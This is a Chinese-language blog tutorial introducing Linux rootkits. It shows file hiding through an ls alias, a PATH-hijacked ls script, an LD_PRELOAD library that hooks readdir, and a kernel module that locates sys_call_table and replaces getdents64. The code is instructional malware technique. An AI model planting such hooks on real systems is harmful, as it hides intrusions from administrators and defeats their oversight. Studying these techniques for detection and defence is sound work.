guest@blog.cmj.tw: ~/posts $

Rootkit 101


I’m watching you but you never see me ~

rootkit 是一個擁有 root 權限並隱藏資訊的技術:隱藏的資訊包含檔案、網路連線、行程等。 因為本身具有隱藏資訊的能力,跟其他惡意程式一起運行則會有傷害加成的功效。

根據能力的不同,rootkit 也可以有程度不一的實作與技術:高深的技術代表著 rootkit 更難被發掘, 而非本身隱藏資訊的能力不同。 rootkit 就程式的角度來看,是一個具有隱藏資訊的邏輯:像是[檔案的擴充屬性][1]而言, 使用一般的方式無法察覺到內容的存在,只能透過指令或者軟體的方式,才能讀取其中的內容。

簡單的 rootkit

我們可以利用一些現有的技術,達到隱藏資訊的功能:例如當我們想要排除掉特定資訊, 常用的方法是利用 [grep -v][2] 的方式來排除特定的字串。根據這個想法,我們可以利用 shell 中的 [alias][3] 來替換指令。

alias ls='ls | grep -v "HIDDEN"'

當然,這種寫法是一種很基本的代換指令的方式,但通常也沒有多少人會去檢查 alias 是否有被換成惡意的指令。另一種方式則是串改[環境變數][4]方式讓 user 執行其他的指令, 而非原本的系統指令。

export PATH=/opt:$PATH
echo 'ls $@ | grep -v "HIDDEN"' > /opt/ls
chmod +x /opt/ls

但是這兩種方式都會改變原本的輸出方式:原本的 ls 指令通常都會預設啟用 color (–color/-G) 以及橫向的排版,然而使用這種 rootkit 的技術,則會導致顏色的設定消失及變成直式的排版。

複雜點的 rootkit

複雜點的 rookit 是利用劫持 (Hijack) 或者竄改 (Tamper) 的方式,讓最後的程式拿到已經修改過的資料, 進而達到隱藏資訊的目的。在 [C 101][5] 中有提到:程式在開始的時候會去讀取 [/etc/ld.so.preload][6] 來 link 額外的 [Shared Library][7]。在這個過程中,會根據 library 的順序來決定含有需要的函數。 藉由這個概念,我們可以寫一個 .so 的函數並且在執行前利用上述的概念,劫持目標函數。

struct dirent *readdir(DIR *dirp) {
    struct dirent *ret = NULL;

    if (NULL == libc) {
        if (NULL == (libc = dlopen(TAMPER_LIBC, RTLD_LAZY))) {
            DEBUG(1, "dlopen %s fail %m", TAMPER_LIBC);
            goto END;
        }
    }
    if (NULL == old_readdir) {
        if (NULL == (old_readdir = dlsym(libc, "readdir"))) {
            DEBUG(1, "dlsym readir fail %m");
            goto END;
        }
    }

    while (1) {
        ret = old_readdir(dirp);
        if (ret && 0 == strcmp(ret->d_name, CHEAT)) {
            continue;
        }
        break;
    }
END:
    return ret;
}
export LD_PRELOAD=rootkit.so
ls

頑固的 rootkit

在 [User Space][8] 中的 rootkit 都可以利用系統的方式,從底層直接檢測是否遭受 rootkit 的攻擊, 而頑固的 rootkit 則是跟防守方一同藏在系統的底層,互相隱藏自己直到自己成為食物鏈的底層為止。 越頑固的 rootkit 是盡量藏身在系統底層的地方,下面是一個藏身在 [Loadable Kernel Module][9] 的例子:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include <linux/dirent.h>
#include <linux/syscalls.h>

MODULE_LICENSE("GPL");
#define DEBUG(msg,...) \
    printk(KERN_ERR "[%s %d] " msg "\n", __FILE__, __LINE__, ##__VA_ARGS__)

void **sys_call_table;

static int (*old_sys_getdents64)(unsigned int, struct linux_dirent64 *, unsigned int);
asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int cnt) {
    int ret = -1;

    ret = old_sys_getdents64(fd, dirp, cnt);
    DEBUG("Hook sys_getdents");

    return ret;
}

void **find_sys_call_table(int label, void *fn) {
    unsigned long start = 0xC0000000;
    unsigned long *addr = NULL;

    while(start <= 0xF0000000) {
        addr = (unsigned *)start;
        if (addr[label] == fn) {
            goto END;
        }
        start += sizeof(void *);
    }
END:
    return (void **)start;
}

static int __init lkm_init(void) {
    int iRet = -1;

    DEBUG("LKM init");
    if (NULL == (sys_call_table = find_sys_call_table(__NR_close, sys_close))) {
        DEBUG("Cannot find sys_call_table");
        goto END;
    }

    old_sys_getdents64 = sys_call_table[__NR_getdents64];
    sys_call_table[__NR_getdents64] = sys_getdents64;

    iRet = 0;
END:
    return iRet;
}
static void __exit lkm_exit(void) {
    DEBUG("LKM exit");
    if (sys_call_table) {
        sys_call_table[__NR_getdents64] = old_sys_getdents64;
    }
}

module_init(lkm_init);
module_exit(lkm_exit);

在這個例子當中,是竄改註冊在 sys_call_table 的 callback,因此首先需要先找到 sys_call_table 的位址。找到這個位址有三種方式:

如果你是自己編譯 Kernel 以及 LKM 的話,就可以在環境中找到 System.map 找到位址

cat System.map | grep sys_call_table

另一方面,如果系統沒有隱藏 sys_call_table 這個 symbol,則可以在 [/proc/kallsyms][10], 不過現在新版的 kernel 都會隱藏這個資訊。

cat /proc/kallsyms | grep sys_call_table

最後則是利用暴力搜尋的方式,直接在 Kernel Space 所使用的記憶體空間進行搜尋: 利用已經 export 出來的 syscall 來當作指標,盡可能地搜尋可能的位址。在這個方式中, 需要注意的是每次都增加一個 pointer size 時,不可以直接對 pointer 做加法的運算。

void **find_sys_call_table(int label, void *fn) {
    unsigned long start = 0xC0000000;
    unsigned long *addr = NULL;

    while(start <= 0xF0000000) {
        addr = (unsigned *)start;
        if (addr[label] == fn) {
            goto END;
        }
        start += sizeof(void *);
    }
END:
    return (void **)start;
}

[1]: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364404(v=vs.85).aspx ) [2]: http://unixhelp.ed.ac.uk/CGI/man-cgi?grep [3]: http://tldp.org/LDP/abs/html/aliases.html [4]: https://en.wikipedia.org/wiki/Environment_variable [5]: http://blog.cmj.tw/ [6]: http://man7.org/linux/man-pages/man8/ld.so.8.html [7]: https://en.wikipedia.org/wiki/Library_(computing) [8]: https://en.wikipedia.org/wiki/User_space [9]: https://en.wikipedia.org/wiki/Loadable_kernel_module [10]: http://manpages.ubuntu.com/manpages/dapper/en/man8/kallsyms.8.html